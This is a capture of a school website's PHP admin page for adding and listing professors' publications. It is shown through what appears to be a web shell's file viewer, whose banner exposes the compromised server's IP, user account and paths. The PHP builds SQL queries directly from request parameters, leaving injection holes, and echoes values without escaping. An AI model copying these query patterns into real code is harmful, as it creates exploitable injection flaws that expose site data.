|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/domains/vethathirimaharishismartschool.com/public_html/admin/../admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'header.php';
if(isset($_GET['status'])){
$status=$_GET['status'];
$id=$_GET['id'];
$update_query = "UPDATE news SET trend= '$status' WHERE id = $id";
$sql_query=mysqli_query($connect,$update_query);
if($sql_query){
header('location:allnews.php');
}
}
if(isset($_POST['add'])){
$iyear=$_POST['pyear'];
$ititle=$_POST['ptitle'];
$inames=$_POST['pname'];
$ijournal=$_POST['journal'];
$isearchs=$_POST['searchs'];
$isearch=$_POST['search'];
$alink=$_POST['alink'];
$pnumber=$_POST['pnumber'];
$sql_insert="INSERT INTO publication(year,title,name,journal,number,ref,alink) VALUES('$iyear','$ititle','$inames','$ijournal','$pnumber',$isearchs,'$alink')";
$sql_insert_query=mysqli_query($connect,$sql_insert);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="description" content="Neon Admin Panel" />
<meta name="author" content="" />
<link rel="shortcut icon" href="../assets/img/favicon.ico" type="image/x-icon" />
<title>CCUS|Subscribe</title>
<link rel="stylesheet" href="assets/js/jquery-ui/css/no-theme/jquery-ui-1.10.3.custom.min.css">
<link rel="stylesheet" href="assets/css/font-icons/entypo/css/entypo.css">
<link rel="stylesheet" href="//fonts.googleapis.com/css?family=Noto+Sans:400,700,400italic">
<link rel="stylesheet" href="assets/css/bootstrap.css">
<link rel="stylesheet" href="assets/css/neon-core.css">
<link rel="stylesheet" href="assets/css/neon-theme.css">
<link rel="stylesheet" href="assets/css/neon-forms.css">
<link rel="stylesheet" href="assets/css/custom.css">
<script src="assets/js/jquery-1.11.3.min.js"></script>
<!--[if lt IE 9]><script src="assets/js/ie8-responsive-file-warning.js"></script><![endif]-->
<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body class="page-body" data-url="http://neon.dev">
<div class="page-container"><!-- add class "sidebar-collapsed" to close sidebar by default, "chat-visible" to make chat appear always -->
<div class="sidebar-menu">
<div class="sidebar-menu-inner">
<?php
include 'sidebar.php';
?>
</div>
</div>
<div class="main-content">
<div class="row">
<!-- Profile Info and Notifications -->
<div class="col-md-6 col-sm-8 clearfix">
<ul class="user-info pull-left pull-none-xsm">
<!-- Profile Info -->
<li class="profile-info dropdown"><!-- add class "pull-right" if you want to place this from right -->
<ul class="dropdown-menu">
<!-- Reverse Caret -->
<li class="caret"></li>
<!-- Profile sub-links -->
<li>
<a href="extra-timeline.html">
<i class="entypo-user"></i>
Edit Profile
</a>
</li>
<li>
<a href="mailbox.html">
<i class="entypo-mail"></i>
Inbox
</a>
</li>
<li>
<a href="extra-calendar.html">
<i class="entypo-calendar"></i>
Calendar
</a>
</li>
<li>
<a href="#">
<i class="entypo-clipboard"></i>
Tasks
</a>
</li>
</ul>
</li>
</ul>
<ul class="user-info pull-left pull-right-xs pull-none-xsm">
<!-- Raw Notifications -->
</ul>
</div>
<!-- Raw Links -->
<div class="col-md-6 col-sm-4 clearfix hidden-xs">
<ul class="list-inline links-list pull-right">
<!-- Language Selector -->
<li class="sep"></li>
<li class="sep"></li>
<li>
<a href="logout.php">
Log Out <i class="entypo-logout right"></i>
</a>
</li>
</ul>
</div>
</div>
<h3>Publication</h3>
<br>
<br>
<?php
if(isset($_POST['submit']) || isset($_POST['add'])){
$search_id= $_POST['search'];
$sql_search="SELECT * FROM portafila WHERE name='$search_id'";
$sql_query=mysqli_query($connect,$sql_search);
while($row=mysqli_fetch_assoc($sql_query)){
$id1=$row['id'];
}
?> <div class="col-lg-6">
<form role="form" action='search.php' method='POST' class="form-horizontal form-groups-bordered">
<div class="form-group">
<label class="col-sm-3 control-label">Search Professor</label>
<div class="col-sm-5">
<select name="search" class="selectboxit" data-first-option="false">
<option disbled>Select Professor</option>
<?php
$sql="SELECT * FROM portafila";
$sql_query=mysqli_query($connect,$sql);
while($row=mysqli_fetch_assoc($sql_query)){
$name=$row['name'];
?>
<option value="<?php echo $name;?>"><?php echo $name;?></option>
<?php
}
?>
</select>
</div>
<!-- <button name='submit' type="button" class="btn btn-info btn-icon">
Search
<i class="entypo-search"></i>
</button-->
<button name='submit' class="btn btn-success">Submit</button>
</div>
</div>
<div class="col-lg-6">
<form action-'search.php' method='POST'>
<div class="form-group">
<label class="col-sm-4 control-label">Year</label>
<div class="col-sm-8">
<select name='pyear' id="icheck-style" class="form-control">
<?php
$i=1;
$year=2021;
for($i=0;$i<=50;$i++){
$year=$year+1;
?>
<option value="<?php echo $year;?>"><?php echo $year;?></option>
<?php
}
?>
</select>
</div>
</div>
<div class="form-group">
<label style='margin-top:15px;' class="col-sm-4 control-label">Publication Title</label>
<div class="col-sm-8">
<input style='margin-top:15px;' name='ptitle' type="text" id='title' class="form-control" id="field-1" placeholder="Publication-title">
</div>
</div>
<div class="form-group">
<label style='margin-top:15px;' class="col-sm-4 control-label">Publisher Name</label>
<div class="col-sm-8">
<input style='margin-top:15px;' name='pname' type="text" id='name' class="form-control" id="field-1" placeholder="Publisher-name">
</div>
</div>
<div class="form-group">
<label style='margin-top:15px;'class="col-sm-4 control-label">Journal</label>
<div class="col-sm-8">
<input style='margin-top:15px;' name='journal' type="text" id='journal' class="form-control" id="field-1" placeholder="Journal">
<input value='<?php echo $id1;?>' name='searchs' type="hidden" id='journal' class="form-control" id="field-1" >
<input value='<?php echo $search;?>' name='search' type="hidden" id='journal' class="form-control" id="field-1" >
</div>
</div>
<div class="form-group">
<label style='margin-top:15px;' class="col-sm-4 control-label">Article Link</label>
<div class="col-sm-8">
<input style='margin-top:15px;' name='alink' type="text" id='alink' class="form-control" id="field-1" placeholder="Article link">
</div>
</div>
<div class="form-group">
<label style='margin-top:15px;' class="col-sm-4 control-label">Publication Number</label>
<div class="col-sm-8">
<input style='margin-top:15px;' name='pnumber' type="text" id='punumber' class="form-control" id="field-1" placeholder="Publication number">
</div><br>
<br>
<br>
<br>
<div id="newpublish"></div>
</div>
<div class="form-group">
<div class="col-sm-offset-5 col-sm-5">
<button value='add' style='margin-top:15px;' name='add' class="btn btn-success">Submit</button>
<br>
<br>
</div>
</div>
</form>
</div>
</form>
<?php
}
else {
?>
<form role="form" action='search.php' method='POST' class="form-horizontal form-groups-bordered">
<div class="form-group">
<label class="col-sm-3 control-label">Search Professor</label>
<div class="col-sm-5">
<select name="search" class="selectboxit" data-first-option="false">
<option disbled>Select Professor</option>
<?php
$sql="SELECT * FROM portafila";
$sql_query=mysqli_query($connect,$sql);
while($row=mysqli_fetch_assoc($sql_query)){
$name=$row['name'];
?>
<option value="<?php echo $name;?>"><?php echo $name;?></option>
<?php
}
?>
</select>
</div>
<!-- <button name='submit' type="button" class="btn btn-info btn-icon">
Search
<i class="entypo-search"></i>
</button-->
<button name='submit' class="btn btn-success">Submit</button>
<br>
<br>
<br>
<br>
</div>
</form>
<?php
}
?>
<!-- <form method='POST'>
<div class="form-group">
<label class="col-sm-3 control-label">SelectBoxIt (native)</label>
<div class="col-sm-5">
<select name="test" class="selectboxit" data-native="true" data-text="Select city (+attribute placeholder)">
<option value="1">Alabama</option>
<option value="2">Boston</option>
<option value="3">Ohaio</option>
<option value="4">New York</option>
<option value="5">Washington</option>
</select>
<i class="entypo-search"></i>
</button
</div>
</div>
<div class="form-group">
<label class="col-sm-3 control-label"> </label>
<div class="col-sm-5">
<div class="input-group">
<span class="input-group-addon"><i id='submit' class="entypo-search"></i></span>
<input type="text" name="typeahead_local" id='search' class="form-control typeahead" placeholder='Search role' data-local="<?php $sql='select * from portafila'; $sql_query=mysqli_query($connect,$sql);while($row=mysqli_fetch_assoc($sql_query)){ $role[]= $row['role'];}$role=array_unique($role);foreach($role as $value ){echo $value;echo ',';}?>" />
</div>
</div>
</div>-->
<script type="text/javascript">
jQuery( window ).load( function() {
var $table2 = jQuery( "#table-2" );
// Initialize DataTable
$table2.DataTable( {
"sDom": "tip",
"bStateSave": false,
"iDisplayLength":8,
"aoColumns": [
{ "bSortable": false },
null,
null,
null,
null
],
"bStateSave": true
});
// Highlighted rows
$table2.find( "tbody input[type=checkbox]" ).each(function(i, el) {
var $this = $(el),
$p = $this.closest('tr');
$( el ).on( 'change', function() {
var is_checked = $this.is(':checked');
$p[is_checked ? 'addClass' : 'removeClass']( 'highlight' );
} );
} );
// Replace Checboxes
$table2.find( ".pagination a" ).click( function( ev ) {
replaceCheckboxes();
} );
} );
// Sample Function to add new row
var giCount = 1;
function fnClickAddRow() {
jQuery('#table-2').dataTable().fnAddData( [ '<div class="checkbox checkbox-replace"><input type="checkbox" /></div>', giCount + ".1", giCount + ".2", giCount + ".3", giCount + ".4" ] );
replaceCheckboxes(); // because there is checkbox, replace it
giCount++;
}
</script>
<table class="table table-bordered table-striped datatable" id="table-2">
<thead>
<tr>
<th>Year</th>
<th>Publication Title</th>
<th>Publisher Name</th>
<th>Journal</th>
<th>Actions</th>
</tr>
</thead>
<?php
if(isset($_POST['submit'])){
?>
<tbody>
<?php
$search=$_POST['search'];
$sql_search="SELECT * FROM portafila WHERE name='$search'";
$sql_query=mysqli_query($connect,$sql_search);
while($row=mysqli_fetch_assoc($sql_query)){
$id=$row['id'];
}
$search_query="SELECT * FROM publication WHERE ref=$id";
$search_result=mysqli_query($connect,$search_query);
while($rows=mysqli_fetch_assoc($search_result)){
$year=$rows['year'];
$titles=$rows['title'];
$name=$rows['name'];
$journal=$rows['journal'];
$number=$rows['number'];
$id=$rows['id'];
$ref=$rows['ref'];
?>
<tr>
<td><?php echo $year;?></td>
<td><?php echo $titles;?></td>
<td><?php echo $name;?></td>
<td>
<?php echo $journal;?>
</td>
<td>
<a href="editpublication.php?id=<?php echo $id;?>" class="btn btn-default btn-sm btn-icon icon-left">
<i class="entypo-pencil"></i>
Edit
</a>
</td>
</tr>
<?php
}
?>
</tbody>
<?php
}
?>
<?php
if(isset($_POST['add'])){
?>
<tbody>
<?php
$id=$isearchs;
$search_query="SELECT * FROM publication WHERE ref=$id";
$search_result=mysqli_query($connect,$search_query);
while($rows=mysqli_fetch_assoc($search_result)){
$id=$rows['id'];
$year=$rows['year'];
$titles=$rows['title'];
$name=$rows['name'];
$journal=$rows['journal'];
$number=$rows['number'];
$ref=$rows['ref'];
?>
<tr>
<td><?php echo $year;?></td>
<td><?php echo $titles;?></td>
<td><?php echo $name;?></td>
<td>
<?php echo $journal;?>
</td>
<td>
<a href="editpublication.php?id=<?php echo $id;?>" class="btn btn-default btn-sm btn-icon icon-left">
<i class="entypo-pencil"></i>
Edit
</a>
</td>
</tr>
<?php
}
?>
</tbody>
<?php
}
?>
</table>
<br />
<?php
include 'footer.php';
?>
</div>
<div id="chat" class="fixed" data-current-user="Art Ramadani" data-order-by-status="1" data-max-chat-history="25">
<div class="chat-inner">
<h2 class="chat-header">
<a href="#" class="chat-close"><i class="entypo-cancel"></i></a>
<i class="entypo-users"></i>
Chat
<span class="badge badge-success is-hidden">0</span>
</h2>
<div class="chat-group" id="group-1">
<strong>Favorites</strong>
<a href="#" id="sample-user-123" data-conversation-history="#sample_history"><span class="user-status is-online"></span> <em>Catherine J. Watkins</em></a>
<a href="#"><span class="user-status is-online"></span> <em>Nicholas R. Walker</em></a>
<a href="#"><span class="user-status is-busy"></span> <em>Susan J. Best</em></a>
<a href="#"><span class="user-status is-offline"></span> <em>Brandon S. Young</em></a>
<a href="#"><span class="user-status is-idle"></span> <em>Fernando G. Olson</em></a>
</div>
<div class="chat-group" id="group-2">
<strong>Work</strong>
<a href="#"><span class="user-status is-offline"></span> <em>Robert J. Garcia</em></a>
<a href="#" data-conversation-history="#sample_history_2"><span class="user-status is-offline"></span> <em>Daniel A. Pena</em></a>
<a href="#"><span class="user-status is-busy"></span> <em>Rodrigo E. Lozano</em></a>
</div>
<div class="chat-group" id="group-3">
<strong>Social</strong>
<a href="#"><span class="user-status is-busy"></span> <em>Velma G. Pearson</em></a>
<a href="#"><span class="user-status is-offline"></span> <em>Margaret R. Dedmon</em></a>
<a href="#"><span class="user-status is-online"></span> <em>Kathleen M. Canales</em></a>
<a href="#"><span class="user-status is-offline"></span> <em>Tracy J. Rodriguez</em></a>
</div>
</div>
<!-- conversation template -->
<div class="chat-conversation">
<div class="conversation-header">
<a href="#" class="conversation-close"><i class="entypo-cancel"></i></a>
<span class="user-status"></span>
<span class="display-name"></span>
<small></small>
</div>
<ul class="conversation-body">
</ul>
<div class="chat-textarea">
<textarea class="form-control autogrow" placeholder="Type your message"></textarea>
</div>
</div>
</div>
<!-- Chat Histories -->
<ul class="chat-history" id="sample_history">
<li>
<span class="user">Art Ramadani</span>
<p>Are you here?</p>
<span class="time">09:00</span>
</li>
<li class="opponent">
<span class="user">Catherine J. Watkins</span>
<p>This message is pre-queued.</p>
<span class="time">09:25</span>
</li>
<li class="opponent">
<span class="user">Catherine J. Watkins</span>
<p>Whohoo!</p>
<span class="time">09:26</span>
</li>
<li class="opponent unread">
<span class="user">Catherine J. Watkins</span>
<p>Do you like it?</p>
<span class="time">09:27</span>
</li>
</ul>
<!-- Chat Histories -->
<ul class="chat-history" id="sample_history_2">
<li class="opponent unread">
<span class="user">Daniel A. Pena</span>
<p>I am going out.</p>
<span class="time">08:21</span>
</li>
<li class="opponent unread">
<span class="user">Daniel A. Pena</span>
<p>Call me when you see this message.</p>
<span class="time">08:27</span>
</li>
</ul>
</div>
<!-- Imported styles on this page -->
<link rel="stylesheet" href="assets/js/select2/select2.css">
<link rel="stylesheet" href="assets/js/selectboxit/jquery.selectBoxIt.css">
<link rel="stylesheet" href="assets/js/daterangepicker/daterangepicker-bs3.css">
<link rel="stylesheet" href="assets/js/icheck/skins/minimal/_all.css">
<link rel="stylesheet" href="assets/js/icheck/skins/square/_all.css">
<link rel="stylesheet" href="assets/js/icheck/skins/flat/_all.css">
<link rel="stylesheet" href="assets/js/icheck/skins/futurico/futurico.css">
<link rel="stylesheet" href="assets/js/icheck/skins/polaris/polaris.css">
<!-- Bottom scripts (common) -->
<script src="assets/js/gsap/TweenMax.min.js"></script>
<script src="assets/js/jquery-ui/js/jquery-ui-1.10.3.minimal.min.js"></script>
<script src="assets/js/bootstrap.js"></script>
<script src="assets/js/joinable.js"></script>
<script src="assets/js/resizeable.js"></script>
<script src="assets/js/neon-api.js"></script>
<!-- Imported scripts on this page -->
<script src="assets/js/bootstrap-tagsinput.min.js"></script>
<script src="assets/js/typeahead.min.js"></script>
<script src="assets/js/selectboxit/jquery.selectBoxIt.min.js"></script>
<script src="assets/js/bootstrap-datepicker.js"></script>
<script src="assets/js/bootstrap-timepicker.min.js"></script>
<script src="assets/js/bootstrap-colorpicker.min.js"></script>
<script src="assets/js/moment.min.js"></script>
<script src="assets/js/daterangepicker/daterangepicker.js"></script>
<script src="assets/js/jquery.multi-select.js"></script>
<script src="assets/js/icheck/icheck.min.js"></script>
<script src="assets/js/neon-chat.js"></script>
<!-- JavaScripts initializations and stuff -->
<script src="assets/js/neon-custom.js"></script>
<!-- Demo Settings -->
<script src="assets/js/neon-demo.js"></script>
<!-- Imported styles on this page -->
<link rel="stylesheet" href="assets/js/datatables/datatables.css">
<link rel="stylesheet" href="assets/js/select2/select2-bootstrap.css">
<link rel="stylesheet" href="assets/js/select2/select2.css">
<!-- Bottom scripts (common) -->
<script src="assets/js/gsap/TweenMax.min.js"></script>
<script src="assets/js/jquery-ui/js/jquery-ui-1.10.3.minimal.min.js"></script>
<script src="assets/js/bootstrap.js"></script>
<script src="assets/js/joinable.js"></script>
<script src="assets/js/resizeable.js"></script>
<script src="assets/js/neon-api.js"></script>
<!-- Imported scripts on this page -->
<script src="assets/js/datatables/datatables.js"></script>
<script src="assets/js/select2/select2.min.js"></script>
</body>
</html>
<script>
/*var survey_options = document.getElementById('survey_options');
var add_more_fields = document.getElementById('add_more_fields');
var fields = document.getElementById('fields');
var remove_fields = document.getElementById('remove_fields');
add_more_fields.onclick = function(){
var newField = document.createElement('input');
newField.setAttribute('type','text');
newField.setAttribute('name','rs[]');
newField.setAttribute('class','form-control');
newField.setAttribute('placeholder','Resear Area');
survey_options.appendChild(newField);
}
remove_fields.onclick = function(){
var input_tags = survey_options.getElementsByTagName('input');
if(input_tags.length > 1) {
survey_options.removeChild(input_tags[(input_tags.length) - 1]);
}
}*/
/*var btn=document.querySelector('#add_more_fields');
btn.onclick=function(){
var newField = document.createElement('div');
newField.innerHTML=generateit();
document.getElementById("survey_options").appendChild(newField);
}
function generateit(){
return '<div class="col-sm-3" ></div><div class="col-sm-7" ><input name="rs" type="text" class="form-control" id="field-ta" placeholder="Resear Area"/></div><div class="col-sm-2" > <span class="btn btn-success" id="removeRow"><i class="fa fa-plus"></i>Remove</span>';
}
$(document).on('click', '#removeRow', function () {
$(this).closest('#survey_options').remove();
});
/*function removeit(btn){
//document.getElementById("survey_options").remove();
//document.getElementById("survey_options").removeChild(btn.parentNode);
this.parentElement.remove();
}
//document.getElementById("survey_options").removeChild(btn.parentNode);
*/
// add row
$("#search").click(function () {
var html = '';
html += '<div id="publish1"><div class="form-group"><label class="col-sm-3 control-label">Title</label><div class="col-sm-5"><input name="stitle[]" type="text" id="title" class="form-control" id="field-1" placeholder="Publication-title"></div></div><div class="form-group"><label class="col-sm-3 control-label">Description</label><div class="col-sm-8">';
html+=' <textarea name="sbox[]" required class="form-control" id="field-ta" placeholder="Textarea"></textarea></div><div class="col-sm-1"><span class="btn btn-danger" id="removeRow"><i class="fa fa-plus"></i>-</span></div></div>';
$('#click').append(html);
});
// remove row
$(document).on('click', '#removeRow', function () {
$(this).closest('#publish1').remove();
});
// add row
$("#add_field").click(function () {
var html = '';
html += '<div id="survey_options">';
html += '<div class="col-sm-3" >';
html += '</div>';
html += '<div style="margin-top:15px;"class="col-sm-7" >';
html += '<input name="ex[]" type="text" class="form-control" id="field-ta" placeholder="Area Of Expertise"/>';
html += '</div>';
html += '<div style="margin-top:15px;" class="col-sm-2" >';
html += ' <span class="btn btn-danger" id="removeRow"><i class="fa fa-plus"></i>-</span>';
html += '</div>';
html +='</div>';
$('#newRows').append(html);
});
// remove row
$(document).on('click', '#removeRow', function () {
$(this).closest('#survey').remove();
});
$("#add_more").click(function () {
var html = '';
html += '<div id="survey_options">';
html += '<div class="col-sm-3" >';
html += '</div>';
html += '<div style="margin-top:15px;"class="col-sm-7" >';
html += '<input name="rs[]" type="text" class="form-control" id="field-ta" placeholder="Resear Area"/>';
html += '</div>';
html += '<div style="margin-top:15px;" class="col-sm-2" >';
html += ' <span class="btn btn-danger" id="removeRow"><i class="fa fa-plus"></i>-</span>';
html += '</div>';
html +='</div>';
$('#newRowss').append(html);
});
// remove row
$(document).on('click', '#removeRow', function () {
$(this).closest('#survey_options').remove();
});
$("#clickpublish").click(function () {
var html = '';
/*var title= $("#title").val();
var name=$('#name').val();
var journal=$('#journal').val();
var punumber=$('#punumber').val();
if(title!='' && name!='' && journal!='' && punumber!=''){*/
html+=" <div id='publish'>";
html += '<div class="form-group"><label class="col-sm-4 control-label">Year</label><div class="col-sm-8" style="margin-top:8px;"><select name="pyear[]" id="icheck-style" class="form-control"><?php $i=1; $year=2021; for($i=0;$i<=50;$i++){$year=$year+1;?><option value="<?php echo $year;?>"><?php echo $year;?></option><?php }?></select></div></div>';
html += ' <div class="form-group"><label class="col-sm-4 control-label">Publication Title</label><div class="col-sm-8" style="margin-top:8px;"><input id="title" name="ptitle[]" type="text" class="form-control" id="field-1" placeholder="Publication-title"></div></div>';
html += ' <div class="form-group"><label class="col-sm-4 control-label">Publisher Name</label><div class="col-sm-8" style="margin-top:8px;"><input id="name" name="pnames[]" type="text" class="form-control" id="field-1" placeholder="Publisher-name"></div></div>';
html += ' <div class="form-group"><label class="col-sm-4 control-label">Journal</label><div class="col-sm-8" style="margin-top:8px;"><input id="journal" name="journal[]" type="text" class="form-control" id="field-1" placeholder="Journal"></div></div>';
html+='<div class="form-group"><label class="col-sm-4 control-label">Article Link</label><div class="col-sm-8" style="margin-top:8px;"><input id="title" name="alink[]" type="text" class="form-control" id="field-1" placeholder="Article"></div></div>';
html += ' <div class="form-group"><label class="col-sm-4 control-label">Publication Number</label><div class="col-sm-7" style="margin-top:8px;"><input id="punumber"name="pnumber[]" type="text" class="form-control" id="field-1" placeholder="Publication number"></div><div class="col-sm-1" style="margin-top:8px;"><span class="btn btn-danger" id="removeRow"><i class="fa fa-plus"></i>-</span></div></div>';
html +='</div>';
$('#newpublish').append(html);
//}
});
// remove row
$(document).on('click', '#removeRow', function () {
$(this).closest('#publish').remove();
});
</script>
<script>
$(document).ready(function(){
load_data();
function load_data(page)
{
$.ajax({
url:"pagination.php",
method:"POST",
data:{page:page},
success:function(data){
$('#pagination_data').html(data);
}
})
}
$(document).on('click', '#submit', function(){
var search= $("#search").val();
//alert(search);
load_data(search);
});
});
</script>